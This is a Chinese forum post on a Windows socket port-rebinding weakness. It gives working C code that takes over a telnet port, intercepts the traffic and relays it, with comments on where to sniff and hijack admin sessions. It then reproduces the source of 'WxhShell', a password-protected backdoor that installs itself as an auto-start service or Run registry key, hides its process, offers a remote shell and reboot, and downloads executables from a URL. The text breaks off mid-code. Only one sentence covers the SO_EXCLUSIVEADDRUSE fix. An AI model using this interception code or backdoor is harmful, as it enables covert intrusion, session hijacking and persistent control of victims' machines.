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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U/ v"?pg[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); htNL2N  
@p?b"?QaB  
  saddr.sin_family = AF_INET; @9 qzn&A  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6= aBD_2@  
.F=<r-0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MC[ `<W)u  
|R:v<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3/#R9J#  
BdRE*9.0  
  这意味着什么?意味着可以进行如下的攻击: _AsHw  
o>QFd x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PAO[Og,-  
H@OrX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C_g"omw40  
rA>A=,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uH~ TugQ~  
+A.a~Stt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '/n%}=a=  
x1BDvTqW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UlLM<33_)  
Q:Nwy(,I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2!"\;/  
P*nT\B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @pEO@bbg>  
Z1qATX Xf  
  #include OGD8QD  
  #include Oujlm|  
  #include K[3D{=  
  #include    zN8&M<mTl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^`B##9g~  
  int main() dcc%G7w  
  { >(1_Dn\  
  WORD wVersionRequested; d"e%tsj  
  DWORD ret; DftGy:Ah3  
  WSADATA wsaData; Q'%5"&XFD  
  BOOL val; J7 zVi  
  SOCKADDR_IN saddr; nP3;<*T P0  
  SOCKADDR_IN scaddr; )b:~kuHi  
  int err; bl!f5ROS(  
  SOCKET s; Wvzzjcr(j  
  SOCKET sc; HK,G8:T  
  int caddsize; ]R3pBC"Jv  
  HANDLE mt; ^7^bA  
  DWORD tid;   3Wtv+L7Br  
  wVersionRequested = MAKEWORD( 2, 2 ); &>wce 5uV  
  err = WSAStartup( wVersionRequested, &wsaData ); Jr*S2 z<*  
  if ( err != 0 ) { U{:(j5m  
  printf("error!WSAStartup failed!\n"); ky lrf4=  
  return -1; c<t3y7  
  } z)?#UdBQv  
  saddr.sin_family = AF_INET; e8ig[:B>+  
   cM7k){  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1RUbY>K#U  
8BoT%kVeJv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b&V]|Z (  
  saddr.sin_port = htons(23); VTgbJ {?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V3hm*{ON  
  { Xxsnpb>  
  printf("error!socket failed!\n"); +e3WwUx  
  return -1; o- e,  
  } { ves@p>?  
  val = TRUE; |?t8M9[Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {dr&46$p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (8eNZ*+mO  
  { N@du.d:  
  printf("error!setsockopt failed!\n"); 1p "EE~ v  
  return -1; XCi]()TZ_  
  } g,GbaaXH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q MT.7n:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nAba =iW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F~rY jAFTi  
RNrYT|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y:6'&`L  
  { >a`zkl  
  ret=GetLastError(); g:3'x/a1  
  printf("error!bind failed!\n"); A>1p]#  
  return -1; r)@&2b"q  
  } cTIwA:)D  
  listen(s,2); UC LjR<}  
  while(1) H* L2gw  
  { LK-6z w5=(  
  caddsize = sizeof(scaddr); oTV8rG  
  //接受连接请求 SAxa7B/U2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mEc;-b f  
  if(sc!=INVALID_SOCKET) $CYpO}u#  
  { Wj{Rp{}3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); : R*^Izs=  
  if(mt==NULL) V1fvQ=9  
  { ?e|:6a+[f  
  printf("Thread Creat Failed!\n"); x_iy;\s1  
  break; ?`*-QG}  
  } gW pT:tX-  
  } qLi1yH  
  CloseHandle(mt); IWRq:Gw  
  } ;>8TNB e!  
  closesocket(s); +(P 43XO08  
  WSACleanup(); JE:n`l/p  
  return 0; m ?"%&|  
  }   gl\$jDC9  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zow^bzy4  
  { po$ynp756  
  SOCKET ss = (SOCKET)lpParam; 4l!Yop0h  
  SOCKET sc; ![D,8]GD  
  unsigned char buf[4096]; HF=C8ZtlL  
  SOCKADDR_IN saddr; 1*, ~1!>  
  long num; jl0Eg  
  DWORD val; ~Z/`W`  
  DWORD ret; ~JRu MP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =O:ek#Bp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l|tp0[  
  saddr.sin_family = AF_INET; ~aR='\<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ysT!^-&p  
  saddr.sin_port = htons(23); PdN\0B `  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a.U:B [v`  
  { e2o9)=y  
  printf("error!socket failed!\n"); DW%K'+@M  
  return -1; 1eyyu!  
  } BG?2PO{  
  val = 100; HNUR6H&Fta  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w7?9e#> Z  
  { :a!a  
  ret = GetLastError(); \V- Y,!~5  
  return -1; it|:P  
  } ]}L1W`n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #V,~d&_k  
  { KXbYv62  
  ret = GetLastError(); wQuaB6E  
  return -1; 0]w[wc <  
  } ]fS~N9B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )"3oe ?  
  { ,) jB<`  
  printf("error!socket connect failed!\n"); 4k?JxA)  
  closesocket(sc); `lh?Z3W  
  closesocket(ss); 1Kf t?g  
  return -1; lGBdQc]IL  
  } k<";t  
  while(1) LmdV@gR  
  { x<7` 109]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e6xjlaKb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~zC fan/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gz5@1CF  
  num = recv(ss,buf,4096,0); _p2<7x i   
  if(num>0) 9 @*>$6  
  send(sc,buf,num,0); $"n)C  
  else if(num==0) <=2*UD |  
  break;  k*6eZ7  
  num = recv(sc,buf,4096,0); /2V',0  
  if(num>0) Wv/5#_  
  send(ss,buf,num,0); ea}KxLC`,  
  else if(num==0) A-!qO|E[-  
  break; R$m?&1K  
  } /,%o<Ql9  
  closesocket(ss); vjRD?kF  
  closesocket(sc); x(N} ^Hu  
  return 0 ; F(fr,m3  
  } 0(f;am0y  
s/0FSv x  
>:nJTr  
========================================================== }'v ?Qq  
X1qj l_A  
下边附上一个代码,,WXhSHELL D)cwttH  
ZGvNEjff  
========================================================== #@"rp]1xv  
_\[JMhd}  
#include "stdafx.h" neH"ks5  
+Z(VWu6  
#include <stdio.h>  #X_M  
#include <string.h> oDI*\S>  
#include <windows.h> <rmV$_  
#include <winsock2.h> @<JQn^M  
#include <winsvc.h> :2gO) 'cD  
#include <urlmon.h> (\Zo"x;(  
cU[pneY  
#pragma comment (lib, "Ws2_32.lib") Px&Mi:4tG  
#pragma comment (lib, "urlmon.lib") <$6E r  
*0ntx$M-w  
#define MAX_USER   100 // 最大客户端连接数 _u5U> w  
#define BUF_SOCK   200 // sock buffer F>R)~;Ja  
#define KEY_BUFF   255 // 输入 buffer +N&(lj  
/`@>v$oo  
#define REBOOT     0   // 重启 h!%`odl%  
#define SHUTDOWN   1   // 关机 \1_&?( pU  
Gw,kC{:C  
#define DEF_PORT   5000 // 监听端口 tV4aUve  
XYTcG;_z  
#define REG_LEN     16   // 注册表键长度 ^P`'qfZ  
#define SVC_LEN     80   // NT服务名长度 =B%e0M  
p}X87Zq  
// 从dll定义API l(4./M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,Gx=e!-N5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %=eD)p7l-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >maz t=,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gcF><i6  
aV, J_Q6r  
// wxhshell配置信息 .;6bMP[YA  
struct WSCFG { K%Ml2V   
  int ws_port;         // 监听端口  Vp4]  
  char ws_passstr[REG_LEN]; // 口令 swbD q  
  int ws_autoins;       // 安装标记, 1=yes 0=no UbH=W(%  
  char ws_regname[REG_LEN]; // 注册表键名 <2A'   
  char ws_svcname[REG_LEN]; // 服务名 ?,>y`Qf*|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  ?C\9lLX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sxa (  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {Vu:yh\<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KphEw[4/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }epN<DL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _%!hkc(  
/omVM u  
}; Sp:de,9@  
j`l K}  
// default Wxhshell configuration _zwuK1e  
struct WSCFG wscfg={DEF_PORT, [}3Y1t{G  
    "xuhuanlingzhe", .1}(Bywm5  
    1, j pV  
    "Wxhshell", s yvi/6  
    "Wxhshell", {4*%\?c,n  
            "WxhShell Service", \zyGJyy.  
    "Wrsky Windows CmdShell Service", /RJSkF+!  
    "Please Input Your Password: ", &t4(86Bmq  
  1, Vd~k4  
  "http://www.wrsky.com/wxhshell.exe", +N:%`9}2V  
  "Wxhshell.exe" Zv7)+ Q  
    }; xy>mM"DOH  
*%sYajmD  
// 消息定义模块 }qPo%T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8^T$6A[b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P*]g*&*Y +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;oE4,  
char *msg_ws_ext="\n\rExit."; R?I3xb  
char *msg_ws_end="\n\rQuit."; VTa8.(i6v  
char *msg_ws_boot="\n\rReboot..."; S0yT%V  
char *msg_ws_poff="\n\rShutdown..."; -XB>&dNl)T  
char *msg_ws_down="\n\rSave to "; z ZQoY_UI  
dGjvSK<1@  
char *msg_ws_err="\n\rErr!"; K2Zy6lGOZ  
char *msg_ws_ok="\n\rOK!"; d?.x./1[qi  
R\?!r4  
char ExeFile[MAX_PATH]; ysPW<  
int nUser = 0; 24fWj?A|^  
HANDLE handles[MAX_USER]; 1<5yG7SZ  
int OsIsNt; 0}N^l=jQ  
Fsh-a7Qp  
SERVICE_STATUS       serviceStatus; [XK"$C]jHJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &5<lQ1  
#$E vybETx  
// 函数声明 2$=HDwv  
int Install(void); HDOaN  
int Uninstall(void); In2D32"F  
int DownloadFile(char *sURL, SOCKET wsh); ok'1  
int Boot(int flag); f [D#QC  
void HideProc(void); nceF4Ty  
int GetOsVer(void); ^xrR3m*d  
int Wxhshell(SOCKET wsl); &-A 7%"  
void TalkWithClient(void *cs); duCm+4,.  
int CmdShell(SOCKET sock); :1Cc~+]w(u  
int StartFromService(void); OMU#Sx!6  
int StartWxhshell(LPSTR lpCmdLine); lLv0lf  
{[+gM?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cAS5&T<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HS7!O  
8:bNFgJD  
// 数据结构和表定义 +FR"Gt$g  
SERVICE_TABLE_ENTRY DispatchTable[] = XijQ)}'C3  
{ Khl7Ez  
{wscfg.ws_svcname, NTServiceMain}, XA68H!I  
{NULL, NULL} WjB[e>  
}; W%o){+,  
+nuQC{^>  
// 自我安装 [nrP; _  
int Install(void) y:L|]p}huE  
{ RWE%? `   
  char svExeFile[MAX_PATH]; K^ lVng  
  HKEY key; >J1o@0tk  
  strcpy(svExeFile,ExeFile); _%]H}N Q  
B$G8,3,:  
// 如果是win9x系统,修改注册表设为自启动 P?F:x=@'|  
if(!OsIsNt) { \Ip<bbB0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -h}J%UV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iu .{L(m  
  RegCloseKey(key); {mDaK&]Oh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5V0=-K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;&!l2UB%  
  RegCloseKey(key); =@'"\ "Nh  
  return 0; /zWWUl`:  
    } #LZ`kSlv4  
  } = N#WwNC  
} 3^\y>  
else { <|4j<U  
{BF\G%v;+  
// 如果是NT以上系统,安装为系统服务 S.z;Bm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &zR}jD>  
if (schSCManager!=0) c8u0\X,  
{ >,v~,<3 i  
  SC_HANDLE schService = CreateService *VU Xw@  
  (  <KpQu%2(  
  schSCManager, *=8)]_=f  
  wscfg.ws_svcname, +2?[=g4;}  
  wscfg.ws_svcdisp, _ :z~P<%s  
  SERVICE_ALL_ACCESS, >Et?7@   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U6Qeode  
  SERVICE_AUTO_START, =cQw R:):  
  SERVICE_ERROR_NORMAL, ATU@5,9  
  svExeFile, <i5^izg  
  NULL, [q z6_WOo  
  NULL, ;dnn 2)m  
  NULL, wcOAyo5(n  
  NULL, $2.DZ  
  NULL z(xvt>  
  ); G~PP1sf  
  if (schService!=0) =P!Vi6[gF~  
  { -} (W=r\  
  CloseServiceHandle(schService); &Fi8@0Fh  
  CloseServiceHandle(schSCManager); Um~jp:6p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p4[W@JV  
  strcat(svExeFile,wscfg.ws_svcname); \=@}(<4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QqDF_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -H \nFJ6+  
  RegCloseKey(key); ru&RL HFV  
  return 0; buoz La  
    } .q=X58tHu  
  } m H?hzxa+  
  CloseServiceHandle(schSCManager); 5q<kt{06\  
} JsC0^A;fM  
} 5*CwQJC<  
0\m zGfd  
return 1; ?:ZH%R_`a  
} ;(sb^O  
]:njP3r  
// 自我卸载 0MOAd!N  
int Uninstall(void) ; ^$RG  
{ B}Qo8i7 z  
  HKEY key; Ub"\LUu  
"n\!y~:  
if(!OsIsNt) { &.}zZ/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n5b N/  
  RegDeleteValue(key,wscfg.ws_regname); H\S,^)drJ?  
  RegCloseKey(key); &`9lIVB,K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =FE,G*  
  RegDeleteValue(key,wscfg.ws_regname); $$4% .J26Z  
  RegCloseKey(key);  4@5<B  
  return 0; X>CYKRtb  
  } F,D &  
} V$@2:@8mo  
} vD(;VeW[  
else { lyV]-w  
* n[6H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =:b/z1-v  
if (schSCManager!=0) o 2DnkzpJ  
{ A;g[G>J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pSAXp# g  
  if (schService!=0) >8VJ!Kg4  
  { 8dpVB#]pp,  
  if(DeleteService(schService)!=0) { -&&mkK B!  
  CloseServiceHandle(schService); P)H%dJ ^l  
  CloseServiceHandle(schSCManager); emHi= [!i  
  return 0; WlY%f}l n  
  } PQ5DTk  
  CloseServiceHandle(schService); -{< %Wt9  
  } B)(A#&nrb  
  CloseServiceHandle(schSCManager); C?|gf?1p  
} ":Q70*xSm  
} us]ah~U6A  
q q`Uv U  
return 1; 8'YL!moG|  
} y0Tb/&xN  
>?kt3.IQ!X  
// 从指定url下载文件 qjWgyhL  
int DownloadFile(char *sURL, SOCKET wsh) JmBYD[h,  
{ *)w 8fq  
  HRESULT hr; J:>TV.TP  
char seps[]= "/"; T7,tJk,(  
char *token; j_{gk"2:d`  
char *file; u]}Xq{ZN  
char myURL[MAX_PATH]; W=DQ6.   
char myFILE[MAX_PATH]; U3Q'ZT  
4, :D4WYWD  
strcpy(myURL,sURL); Wc)^@f[~<  
  token=strtok(myURL,seps); w"D"9 G  
  while(token!=NULL) ~(^[TuJC  
  { Ro1l:P)C`  
    file=token; :\>UZ9h #  
  token=strtok(NULL,seps); o;O_N^_W  
  } B<o i,S  
Ywni2-)<  
GetCurrentDirectory(MAX_PATH,myFILE); 3w-0v"j U  
strcat(myFILE, "\\"); VTF),e!  
strcat(myFILE, file); )j$Bo{  
  send(wsh,myFILE,strlen(myFILE),0); 4Qw!YI#40$  
send(wsh,"...",3,0); Jn&(v"_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mr;WxxO5  
  if(hr==S_OK) A[b'MNsv  
return 0; x&f?c=\F  
else > 1r>cZn  
return 1; 7#RW4ZM  
-AbA6_j  
} 6q5V*sJ&  
AXJC&O}`  
// 系统电源模块 \UiuJ+  
int Boot(int flag) H: U_k68  
{ "XH]B  
  HANDLE hToken; TEYbB=.  
  TOKEN_PRIVILEGES tkp; 86I".R$d  
> 4^U=T#  
  if(OsIsNt) { xv)7-jlx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !is8`8F8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZpwB"%e$  
    tkp.PrivilegeCount = 1; G1D(-X4ALZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Um|:AT}`^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); { u;ntDr  
if(flag==REBOOT) { 3(CUC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X4o8  
  return 0; <uAqb Wu  
} T"2ye9a  
else { 'r-a:8:t^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kAAz|dhL-  
  return 0; h\yYg'CC  
} ^EB}e15"  
  } 5tf/VT   
  else { h;B'#$_  
if(flag==REBOOT) { DZ EA*E>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sw0~6RZ  
  return 0;  m.2  
} 3Y=S^*ztd  
else { Obw uyhjQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =]D##R  
  return 0; I*0 W\Qz@  
} Hv%a\WNS1  
} & MAIm56~  
iA:CPBv_mu  
return 1; b)df V=  
} c  xX  
DO0["O74  
// win9x进程隐藏模块 |S.-5CAh4  
void HideProc(void) "=Ziy4V  
{ T\]z0M  
 Im#3sn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fc M~4yP?  
  if ( hKernel != NULL ) 3fGy  
  { ?.4u'Dkn=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O /GD[9$i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #$A6s~`B  
    FreeLibrary(hKernel); wi&m(f(~  
  } }g`A*y;t  
JiRW|+`pe  
return; {Xl 5F.q  
} lD{9o2  
)`L!eN  
// 获取操作系统版本 x*_c'\F|  
int GetOsVer(void) zJ#q*2A(Z  
{ ysSEgC3  
  OSVERSIONINFO winfo; Q:%gJ6pa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zaq:l[%  
  GetVersionEx(&winfo); [jafPi(#g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c|I{U[(U  
  return 1; xOS4J+'s@  
  else LEk W^Mv  
  return 0; ^*Ca+22xO  
} |vGz 1jLV  
D F0~A  
// 客户端句柄模块 2#sE\D  
int Wxhshell(SOCKET wsl) p[W8XX  
{ 1N2:4|woe  
  SOCKET wsh; N<?RN;M  
  struct sockaddr_in client; 5 1 L:%Af  
  DWORD myID; br0gB3 r  
{lqnn n3  
  while(nUser<MAX_USER) \b' <q  
{ bZ0r/f,n$  
  int nSize=sizeof(client); c.NAUe_3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .lqo>Ta y  
  if(wsh==INVALID_SOCKET) return 1; rJR"[TTJ  
}mX;0qO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q7X /"Dfx  
if(handles[nUser]==0) V-t!  
  closesocket(wsh); d]+g3oy `  
else 3{ `fT5]U  
  nUser++; B:Msn)C~  
  } sfx:j~bsL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _< xU"8b"5  
=7Nm= 5@  
  return 0; P hn&hRAO  
} +8v!vuO'  
j_Dx4*v g  
// 关闭 socket ZJd1Lx   
void CloseIt(SOCKET wsh) k~:B3p  
{ 8_W<BXW  
closesocket(wsh); {L3lQ8Z  
nUser--; jH \@Oc;7  
ExitThread(0); hYF<Wn3L  
} xUj[d(q  
Rh~<#"G]  
// 客户端请求句柄 w!tQU9+ *  
void TalkWithClient(void *cs) ZSHc@r*>  
{ 17J|g.]m-&  
o^gqpQv  
  SOCKET wsh=(SOCKET)cs; aQkgkV;~  
  char pwd[SVC_LEN]; CkIICx  
  char cmd[KEY_BUFF]; HZ ]'?&0  
char chr[1]; LkNC8V  
int i,j; $Nnz |y  
:Bda]]Y=  
  while (nUser < MAX_USER) { trg+" )a  
pbAQf3  
if(wscfg.ws_passstr) { *O+YhoR?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,HR~oT^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K+PzTGWq^  
  //ZeroMemory(pwd,KEY_BUFF); 1vi<@i,  
      i=0; 0 E{$u  
  while(i<SVC_LEN) { P|c79  
_ 4pBJOJQ6  
  // 设置超时 CShVJ:u+K\  
  fd_set FdRead; R )ejIKtY  
  struct timeval TimeOut; par $0z/  
  FD_ZERO(&FdRead); %I[(`nb  
  FD_SET(wsh,&FdRead); .-fJ\`^mi  
  TimeOut.tv_sec=8; k$# @_  
  TimeOut.tv_usec=0; #;>J<>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uB0/H=<H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y~''r%]   
NSj}?hz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IZniRd;  
  pwd=chr[0]; iiKFV>;t/  
  if(chr[0]==0xd || chr[0]==0xa) { (lT H EiX  
  pwd=0; ME{i-E4  
  break; bvs0y7M='  
  } ,??xW{* |  
  i++; r(0I>|u  
    } Pa%XLn'5  
, )u}8ty3j  
  // 如果是非法用户,关闭 socket ^o65sM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wE;??'O'l  
} @C7#xGD  
,NPU0IDG>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); " #_NA`$i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K4snp u hC  
GAEz :n  
while(1) { vNHM e{,u  
>O|hN`  
  ZeroMemory(cmd,KEY_BUFF); "pQM$3n(  
I Yj\t?,0  
      // 自动支持客户端 telnet标准   FK;\Nce&  
  j=0; x]J{EA{+  
  while(j<KEY_BUFF) { XBdC/DM[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); No!P?  
  cmd[j]=chr[0]; y2o?a6`  
  if(chr[0]==0xa || chr[0]==0xd) { !nC Z,  
  cmd[j]=0; B$_F)2%m;  
  break; l&^9<th  
  } DTI+VY .W^  
  j++; ^s_E|~U  
    } _|x%M}O},  
%t`a-m  
  // 下载文件 hQ#'_%:  
  if(strstr(cmd,"http://")) { (SU*fD!t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ) yRC$7I  
  if(DownloadFile(cmd,wsh)) t-3wjS1v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?9 m3y0  
  else Y+F$]!hw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GL9R 5  
  } C5*j0}  
  else { P2!@^%o  
wwmMpK}f  
    switch(cmd[0]) { LPvyfD;Zy  
  *.~hn5Y|?  
  // 帮助 )j]S ;Mr  
  case '?': { Lb{~a_c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m{I_E G  
    break; `9kjYSd#E  
  } 7a-> "W  
  // 安装 8pg?g'A~}  
  case 'i': { Zj[Bm\ 8  
    if(Install()) f @Hp,-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?,;|*A  
    else +g@@|&B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !D7 [R'RgY  
    break; EAqTXB@XU  
    } vFV->/u  
  // 卸载 !c\s)&U7B  
  case 'r': { PQlG !  
    if(Uninstall()) kS8srT /H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vWXj6}  
    else sO~N2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1W "9u   
    break; JU1U=Lu."  
    } _Oh;._PS  
  // 显示 wxhshell 所在路径 _|g(BK2}  
  case 'p': { 69`9!heu  
    char svExeFile[MAX_PATH]; H7H'0C  
    strcpy(svExeFile,"\n\r"); Gg{@]9  
      strcat(svExeFile,ExeFile); 4;7<)&#h  
        send(wsh,svExeFile,strlen(svExeFile),0); >8#(GXnSt  
    break; o.Mb~8Yu  
    } #Jq@p_T"  
  // 重启 -$.$6"]  
  case 'b': { ^{zwIH2I]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iS hB ^  
    if(Boot(REBOOT)) 0/#XUX 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6jO*rseC  
    else { d&n0:xOc  
    closesocket(wsh); BB1'B-O  
    ExitThread(0); f>;5ZE4Zu  
    } tI{pu}/"#  
    break; ;_F iiBk7(  
    } t'Nu^_#  
  // 关机 sYYg5vL9  
  case 'd': { BT2[@qH|qF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +wY3E*hU  
    if(Boot(SHUTDOWN)) )Mi #{5z  
